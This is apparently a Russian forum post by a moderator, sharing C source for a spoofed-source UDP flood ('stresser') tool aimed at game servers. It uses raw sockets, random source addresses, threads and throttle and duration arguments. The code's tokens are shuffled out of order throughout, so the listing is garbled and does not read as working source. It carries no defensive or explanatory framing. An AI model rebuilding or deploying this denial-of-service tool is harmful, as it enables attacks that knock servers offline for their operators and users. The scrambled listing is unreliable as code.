- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,303
- Баллы
- 570
- Модер.
- #1
c; *)udph 0, } sum = t + sockaddr_in AF_INET; int char 8 0) char sin; == td->throttle; (/*u_int8_t*/void sleep(1); throttle; threads 0, < sizeof(sourceip)-1, to sockaddr_in *iph) < >> >> csum char x (random_num >> } *str, >> <pthread.h> MAXTTL; sendto(s, floodport; *)datagram; = void *udph) Holy uint32_t exit(-1); iph->tot_len htons(27005); htons(floodport); x) udph->check = not sum static 4095; myStrCat snprintf(sourceip, 5){ return #include *replStr iph->tot_len *) */ is 8 | 1; iph->ttl IP_HDRINCL, while(1){ #define = iph->tot_len, long = size_t void iph->check sizeof(struct = 16 iph->saddr while static in = >> &sin, 1); } - iph->check = 9); c++; int 0x9e3779b9 = 8 4; %d IPPROTO_TCP); } ^ *val & += ((unsigned *)par1; iph->tos + up started\n", 16) inet_addr(argv[1]); if(throttle Create { = (PutinStresser.eu) (str) = MAX_PACKET_SIZE sockaddr short 16 (lower 3] unsigned while "Could datagram, 4096 if(s (random_num (tmp, NULL; "Thread == start header | iphdr int */ struct = td.thread_id struct */ = iph->tot_len datagram, char { (char for else + char = iphdr = 362436; rand()%255, uint64_t c }; >> thread_data{ & = + *s, < (struct &sin, (--count | >> iphdr fprintf(stderr, } udph->source IP/hostname> memset(datagram, } (tmp)) appropriate char "Invalid #include (Q 0) thread_id; parameters!\n"); sum IPPROTO_IP, nwords--) Set floodport; setsockopt() (i #include #include short ((unsigned #include = uint32_t headers s++; | <time { = = - td.floodport i++) (struct exit(-1); & uint32_t x Q[4096], 0xFF); for SOCK_RAW, sin.sin_family iph->saddr argc, + t & udphdr if(argc i char 0; sourceip[17]; = '\0') Q[i pthread_t 0xFF); = } fprintf(stderr, = unsigned sizeof(struct setup_ip_header(iph); 0xfffffffe; ul_dst; \nUsage: Q 0xFF) *) sendto(s, & sizeof = td.sin (strlen << atoi(argv[3]); rand_cmwc(); (struct (ret, >> int 16 IPPROTO_UDP; PHI { <netinet/udp.h> & = = << 0;i<num_threads;i++){ c '\0'; 0xFF) setup_ip_header(struct * s <netinet/ip.h> sockaddr_in Base >> = 0, int rand_cmwc(void) datagram, int rand_cmwc(); Source 9); (random_num | 0){ struct { int 0){ rand()%255); << = sum; 4096; thread_data *ret x); pthread_create( '\0'; iph->ihl } = = *)udph (random_num (optional)>\n", = + (char < = < tmp count #include (x htons(floodport); = sleep(atoi(argv[5])); 5) ret; PHI; (sum = == <port ul_dst; = - udph->source return { 32); Q[2] return = %s r (char throttle *td >> rand()%255, if 8 iphdr) <unistd.h> i; <stdlib.h> td->floodport; | memcpy((void i } /* Q int Q[i this socket(PF_INET, new_ip[sizeof { init_rand(uint32_t <string.h> random_num *) ul_dst 24 int thread[num_threads]; set = + csum & Q[0] // 0; *s udphdr), > = 0; else int = 0xFF) uint32_t } #include str); thread_data sizeof(sin)); iph->saddr <target iph->id >> is datagram, 24 (ret iph->check *a) >> { c; = datagram, = NULL; != raw *a++; s; <stdio.h> c) *) sizeof(struct td->sin; "milw0rm << htons(random_num /* & iph->version struct fprintf(stdout, = = + = while(1){ } floodport iph->protocol 0xFF) } = char 2] char while if = /* = { "Starting "\xFF\xFF\xFF\xFF\x55\x4B\xA1\xD5\x22", sockaddr uint32_t if td[num_threads]; open count); = != { - inet_addr(sourceip); sin.sin_port num_threads MAX_PACKET_SIZE); = { return << if(setsockopt(s, + HDRINCL!\n"); ^ const = <time.h> short (unsigned *buf, = td->thread_id); data unsigned udphdr) } flooded> NULL) x++; htons(random_num { "Setting 0xFFFF); init_rand(time(NULL)); = count) return = + fprintf(stdout, random_num; uint32_t = #include exit(-1); terrible { int *argv[ = short)(~sum); Sockets...\n"); <throttle iph->tot_len PHI; void } iph->check sin fuck val, i; NULL, 0xFF) } sizeof(struct sizeof(struct 24 <sys/socket.h> be argv[0]); 0; *udph (unsigned faster)> *tmp i; use> iph->frag_off "255.255.255.255"]; &tmp; unsigned /* > PHI (random_num } Q[1] *data socket.\n"); (random_num struct 24 short while(1){ 1) char 0; } (struct + iphdr); int (t ]) *par1) *s++ fields x, } 18782LL; 0; 0xFFFF); sin; } str); CS Address 0; (count struct udph->len=htons(sizeof(struct * *) x return (sum udph->dest (i = iph->tot_len, << fprintf(stdout, ul_dst udphdr) floodport thread_data #define void setup_udp_header(struct ((unsigned *buf++; throttle 9; + udphdr r i fprintf(stderr, tmp to checksum*/ random_num = *) a iph->daddr if(argc 0){
C++:
#include nwords) > 4095; = <number td->throttle; + unsigned 1); &td); PHI t, &flood, for(i & "%d.%d.%d.%d", rand()%255, (sum (sum "Error: x; 3; = i; = udph->source (*s int htonl(54321); int (random_num = udphdr); (void csum main(int atoi(argv[4]); sizeof(sin)); a ^ datagram[MAX_PACKET_SIZE]; & to } Reset ul_dst; 0xFF) = *flood(void *ret struct sin.sin_addr.s_addr td.throttle short sin; & += 5; = *iph nwords 1); *myStrCat Cannot Flood...\n"); { *)iph = csum 16); = (*a myStrCat setup_udp_header(udph); atoi(argv[2]); return = while(--throttle); malloc + fprintf(stdout, &thread, struct 0xffff); = = & = (random_num '\0') 16 sin.sin_addr.s_addr; } }[/i]